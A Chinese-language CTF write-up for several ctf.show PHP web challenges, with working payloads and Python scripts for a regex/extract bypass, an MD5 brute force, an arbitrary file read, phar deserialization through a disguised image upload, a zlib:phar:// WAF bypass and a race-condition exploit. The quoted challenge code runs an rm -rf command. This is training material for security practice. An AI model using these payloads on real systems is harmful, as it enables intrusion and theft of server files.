看着思路很简单,就是利用post传参和extract函数来给需要的参数赋值,再利用call_user_func调用qwq中的oao静态方法。
感觉最麻烦的就是
preg_match('/^\-[a-e][^a-zA-Z0-8](.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)
这个正则函数的绕过,传入的一串字符串需要匹配上。
在线网站:regex101: build, test, and debug regex
尝试了一会后得到一串字符:
-a911111111>>>>aabcphp@Rr2
然后还要绕过_,可以用空格或者[替代。
POST传入:shaw[root=-a9<b>11111111>>>>aabcphp@Rr2
得到
md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5
很明显SecretNumber是一个长度为5的数字,爆破出来就好:
for($i=10000;$i<=99999;$i++)
{
if(md5("shaw".($i)."root")=='166b47a5cb1ca2431a0edfcef200684f'){
echo $i;
}
}
最后的payload:
shaw[root=-a9<b>11111111>>>>aabcphp@Rr2&ans=21475&my[ans=qwq::oao
这个题出的有意思,写了好一会。
先访问www.rar下载源码。
Seay自动审计一下,发现33处有问题,一个一个看一下。
在这个地方参数完全可控,后缀也没有.dat,存在任意文件读取漏洞。
访问一下,但没成功,应该是需要成为管理员。
在install.php中发现管理员信息
然后利用漏洞读取一下flag
访问一下ctfshowsecretfilehh
之前看到过文件上传页面,可以上传jpg、png、gif文件,所以可以利用phar反序列化来得到hint.txt。
class Ctfshow{
public $ctfer = 'shower';
}
$a=new Ctfshow();
$phar = new Phar('phar.phar');
$phar->setStub('GIF89a'.'');
$phar->setMetadata($a);
$phar->addFromString('test.txt','dky');
?>
然后改后缀为jpg,上传文件,但发现其并不回显文件名称,且文件名称被修改,所以去读取一下flag.php文件。
error_reporting(0);
// 允许上传的图片后缀
$allowedExts = array("gif", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
// echo $_FILES["file"]["size"];
$extension = end($temp); // 获取文件后缀名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 2048000) // 小于 2000kb
&& in_array($extension, $allowedExts))
{
if ($_FILES["file"]["error"] > 0)
{
echo "文件出错: " . $_FILES["file"]["error"] . "
";
}
else
{
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " 文件已经存在。 ";
}
else
{
$md5_unix_random =substr(md5(time()),0,8);
$filename = $md5_unix_random.'.'.$extension;
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);
echo "上传成功,文件存在upload/";
}
}
}
else
{
echo "文件类型仅支持jpg、png、gif等图片格式";
}
?>
写个文件上传脚本。
import requests
import time
import hashlib
def geturl(s):
a = hashlib.md5(str(int(s)).encode()).hexdigest()
filename = a[:8]
return "http://d1166e35-8694-4820-a76b-c89ebbd7b475.challenge.ctf.show/upload/"+filename+'.jpg'
for i in range(50):
url="http://d1166e35-8694-4820-a76b-c89ebbd7b475.challenge.ctf.show/upload.php"
files={'file':('phar.jpg',open('phar.jpg','rb'),'image/jpeg')}
re1=requests.post(url,files=files)
a=time.time()
re2=requests.get(geturl(a))
if("我的网站" not in re2.text):
print(geturl(a))
break
然后利用phar伪协议读取文件,利用zlib://协议绕过waf:
payload:
?file=zlib:phar:///var/www/html/upload/017ea83e.jpg
又是一个路由:
flag{fuckflag***}flag also not here You can access ctfshowgetflaghhhh directory
show_source(__FILE__);
$unser = $_GET['unser'];
class Unser {
public $username='Firebasky';
public $password;
function __destruct() {
if($this->username=='ctfshow'&&$this->password==(int)md5(time())){
system('cp /ctfshow* /var/www/html/flag.txt');
}
}
}
$ctf=@unserialize($unser);
system('rm -rf /var/www/html/flag.txt');
利用条件竞争,在其system命令执行之前访问flag.txt文件,这次有了unserialize函数,不需要再上传文件。
import io
import requests
import threading
def write():
while True:
url="http://d1166e35-8694-4820-a76b-c89ebbd7b475.challenge.ctf.show/ctfshowgetflaghhhh/"
resp = requests.get(url+'?unser=O:5:"Unser":2:{s:8:"username";s:7:"ctfshow";s:8:"password";i:0;}')
def read():
while True:
r=requests.get('http://d1166e35-8694-4820-a76b-c89ebbd7b475.challenge.ctf.show/flag.txt')
if("我的网站" not in r.text):
print(r.text)
print('success!!!')
event.clear()
break;
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,20):
threading.Thread(target=write,args=()).start()
for i in range(1,20):
threading.Thread(target=read,args=()).start()
event.set()
非预期了,先看源码:
error_reporting(0);
highlight_file(__FILE__);
class spaceman
{
public $username;
public $password;
public function __construct($username,$password)
{
$this->username = $username;
$this->password = $password;
}
public function __wakeup()
{
if($this->password==='ctfshowvip')
{
include("flag.php");
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('ctfshowup','ctfshow',$string);
}
$str = file_get_contents("php://input");
if(preg_match('/\_|\.|\]|\[/is',$str)){
die("I am sorry but you have to leave.");
}else{
extract($_POST);
}
$ser = filter(serialize(new spaceman($user_name,$pass_word)));
$test = unserialize($ser);
?>
本来这题应该是还有另外一个参数,利用这两个可控参数去字符逃逸,本想本地修改一下再做,但本地extract代码一直无法实现。
paylaod:
user name=1&pass word=ctfshowvip
改了个名字,直接还用之前的脚本即可。
import requests
import time
import hashlib
def geturl(s):
a = hashlib.md5(str(int(s)).encode()).hexdigest()
filename = a[:8]
return "http://d1166e35-8694-4820-a76b-c89ebbd7b475.challenge.ctf.show/upload/"+filename+'.jpg'
for i in range(50):
url="http://d1166e35-8694-4820-a76b-c89ebbd7b475.challenge.ctf.show/upload.php"
files={'file':('phar.jpg',open('phar.jpg','rb'),'image/jpeg')}
re1=requests.post(url,files=files)
a=time.time()
re2=requests.get(geturl(a))
if("我的网站" not in re2.text):
print(geturl(a))
break
payload:
?file=zlib:phar:///var/www/html/upload/f815a59f.jpg
import io
import requests
import threading
def write():
while True:
url="http://8722968c-5302-4bdf-863b-5ece18eddf38.challenge.ctf.show/hsxctfshowsecretgetflagl/"
resp = requests.get(url+'?unser=O:5:"Unser":2:{s:8:"username";s:7:"ctfshow";s:8:"password";i:0;}')
def read():
while True:
r=requests.get('http://8722968c-5302-4bdf-863b-5ece18eddf38.challenge.ctf.show/flag.txt')
if("我的网站" not in r.text):
print(r.text)
print('success!!!')
event.clear()
break;
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,20):
threading.Thread(target=write,args=()).start()
for i in range(1,20):
threading.Thread(target=read,args=()).start()
event.set()